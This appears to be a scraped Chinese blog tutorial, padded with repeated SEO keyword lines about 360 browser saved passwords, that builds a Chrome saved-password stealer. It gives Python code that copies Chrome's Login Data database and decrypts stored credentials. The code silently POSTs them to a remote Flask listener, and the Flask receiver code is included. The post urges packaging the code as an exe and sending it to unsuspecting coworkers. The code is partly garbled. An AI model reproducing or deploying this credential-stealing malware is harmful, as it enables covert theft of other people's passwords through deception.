360保存用户名和密码在哪里_360网页保存密码设置_360浏览器保存密码

如何破解 iphone 登陆密码

今天看了一篇关于如何破解 iphone 手机密码的文章,瞬间觉得科学技术不是第一生产力,why ?

360保存用户名和密码在哪里_360网页保存密码设置_360浏览器保存密码

根据“可靠消息”称,即便美国 FBI 也无法轻易的对 iphone 手机进行暴力破解,当然美国有一家黑客公司可针对 iphone 进行破解,单收费过万美金。

那么铺天盖地的 iphone 手机密码破解“ 黑客 ”是怎么做的?

无非是骗,他们假装成各类官方人员告诉你发现你的 iphone 手机存在异常,需要远程告知 apple-id 帮你追回手机,呵呵….

可是,这个梗和今天的文章有什么关系呢?

黑客的自我修养

360网页保存密码设置_360浏览器保存密码_360保存用户名和密码在哪里

随着 Python 的活跃,各大平台都在鼓吹,甚至已经出了关于 Python 黑客入门的书籍。

也许做一个黑客难如登天,那不如我们换个思路,去假装做一个伪黑客如何?

前几天看帖子,发现我们使用浏览器的时候,当登陆一个需要输入用户名密码的网站时360保存用户名和密码在哪里,在你登陆成功后,系统会提示你是否保存密码,如果点击确认,浏览器将会把我们本次输入的密码,存储在浏览器中,待下次登录时便可以免密登录。

那么,这些密码是怎么保存的,又存储在哪里呢?

Chrome 浏览器

也许很多人会说,360 浏览器、QQ 浏览器,这些国产的加壳浏览器不论美观还是所谓的安全方面都做的很符合国人需求。但如果你的工作与 IT 挂钩,无疑 Chrome 将是很多朋友的首选。当然这篇文章不是介绍 Chrome 浏览器的使用手册,今天我们主要来看看 Chrome 浏览器的密码存储机制。

查看 Chrome 存储的密码表单

点击你们的 Chrome 浏览器右上角,进入设置 -> 高级 -> 管理密码 (根据浏览器版本不同,可能存在部分差异),或者 Chrome 浏览器中输入 chrome://settings/passwords 。你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码。

那么,Chrome 的密码是以什么方式进行存储的呢?SQLite …

很多嵌入式产品中,都会使用 SQLite 数据库进行数据存储,它占用资源低,数据库即文件,又支持 sql 语法的增删改查,简直不要太方便。

360浏览器保存密码_360网页保存密码设置_360保存用户名和密码在哪里

SQLite 在哪,又该怎么查询?

首先进入我的电脑地址栏中输入%LOCALAPPDATA%,进入 app 的数据存储路径为

C:UsersAdministratorAppDataLocal

之后进入 chrome 浏览器的密码数据库统一地址为

GoogleChromeUserDataDefaultLogin Data

查看 Chrome 浏览器存储的密码

既然拿到了 SQLite 数据库文件,我们随便找个 sqlite 工具,就能打开这个数据库了!

这里我使用 sqlitestudio :

360保存用户名和密码在哪里_360网页保存密码设置_360浏览器保存密码

打开数据库,我们看到有三张表 :

logins、meta 、stats

其中 logins 中就存储这你保存的网址、用户名、密码数据,分别是 :

signon_realm , username_value , password_value

但问题来了 passwordvalue 的字段看着是空的啊?因为加密了!

如何解密? 网上查了下:

CryptUnprotectData 数据可以在 win32crypt 中找到,要使用该模块,需要进行安装:

pip install pywin32

万事俱备,就差撸代码了!

代码实现

360保存用户名和密码在哪里_360网页保存密码设置_360浏览器保存密码

import osimport shutilimport sqlite3import win32cryptdb_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'GoogleChromeUser DataDefaultLogin Data')tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')print(tmp_file)if os.path.exists(tmp_file):os.remove(tmp_file)shutil.copyfile(db_file_path, tmp_file)conn = sqlite3.connect(tmp_file)for row in conn.execute('select signon_realm,username_value,password_value from logins'):ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')conn.closeos.remove(tmp_file)

通过解密,我们获取到了 Chrome 浏览器保存的用户名密码,然后保存至文本。

360保存用户名和密码在哪里_360浏览器保存密码_360网页保存密码设置

之后我们只需要使用 pyinstaller -F xxx.py ,将代码打包成 exe 发给同事,就可以在他的电脑上获取密码了!

但,如果咱们的黑客之旅到此为止,那这个伪黑客未免有点 low 了吧?

数据回传

为什么说要打包成 exe ?一是可以脱离环境单独执行,二却是为了加壳!

我们在原有的代码基础上,添加如下内容:

import requeststry: # 记得添加try except 不然万一你忘记启动Flask程序,岂不是让同事发现了requests.post('http://192.168.1.101:9999/index'),data=''.join(passwordList).encode('utf-8')except:pass

最后整理我们的代码:

# -*- coding: utf-8 -*-# @Author  : 王翔# @JianShu : 清风Python# @Date    : 2019/5/18 22:53# Software : PyCharm# version:Python 3.6.8# @File    : ChromePassword.pyimport osimport shutilimport sqlite3import win32cryptimport jsonimport requestsAPP_DATA_PATH = os.environ["LOCALAPPDATA"]DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'class ChromePassword:def __init__(self):self.passwordsList = []def get_chrome_db(self): _full_path = os.path.join(APP_DATA_PATH, DB_PATH)_tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')if os.path.exists(_tmp_file):os.remove(_tmp_file)shutil.copyfile(_full_path, _tmp_file)self.show_passwords(_tmp_file)def show_passwords(self, db_file):conn = sqlite3.connect(db_file)        _sql = '''select signon_realm,username_value,password_value from logins'''for row in conn.execute(_sql):           ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0) # 密码解析后得到的是字节码,需要进行解码操作 _info = 'url: %-40s username: %-20s password: %sn' % (row[0][:50], row[1], ret[1].decode())self.passwordsList.append(_info)conn.close()os.remove(db_file)def save_passwords(self):with open('password.txt', 'w', encoding='utf-8') as f:f.writelines(self.passwordsList)def transfer_passwords(self):try:# 此处填写远端Flask对应的IP:PORTrequests.post('http://192.168.1.102:9999/index',data=json.dumps(self.passwordsList))except requests.exceptions.ConnectionError:passif __name__ == '__main__':Main = ChromePassword()Main.get_chrome_db()Main.save_passwords()Main.transfer_passwords()

接下来,我们在本地写一个最简单的 Flask 程序,用户获取回传的参数,代码如下:



# -*- coding: utf-8 -*-# @Author : 王翔# @JianShu : 清风Python# @Date : 2019/5/18 22:53# Software : PyCharm# version:Python 3.6.8# @File : ChromePassword.pyfrom flask import Flask, requestimport timeimport jsonapp = Flask(__name__)@app.route('/index', methods=["GET", "POST"])def index():if request.method == 'POST':_txtName = '%s_%s.txt' % (request.remote_addr, ) time.strftime('%Y%m%d%H%M%S', time.localtime)with open(_txtName, 'w', encoding='utf-8') as f:f.writelines(json.loads(request.data)return "小哥,里面玩儿啊f __name__ == '__main__':# 端口可自行设置app.run(host='0.0.0.0', port=9999)

打完收工,就差同事去点击你发给他的 exe 了。他以为你的工具仅仅把 Chrome 密码生成 txt 保存。

其实,在他点击工具的同时,你电脑会获取他传输的数据,并存储在一个 ip 时间戳的文本中!

360网页保存密码设置_360保存用户名和密码在哪里_360浏览器保存密码

然后360保存用户名和密码在哪里,拿去给他们炫耀吧!

原文链接:

360网页保存密码设置_360浏览器保存密码_360保存用户名和密码在哪里

创智俱乐部

———END———
限 时 特 惠: 本站每日持续更新海量各大内部创业教程,一年会员只需98元,全站资源免费下载 点击网站首页每天更新
站 长 微 信: aiwo51889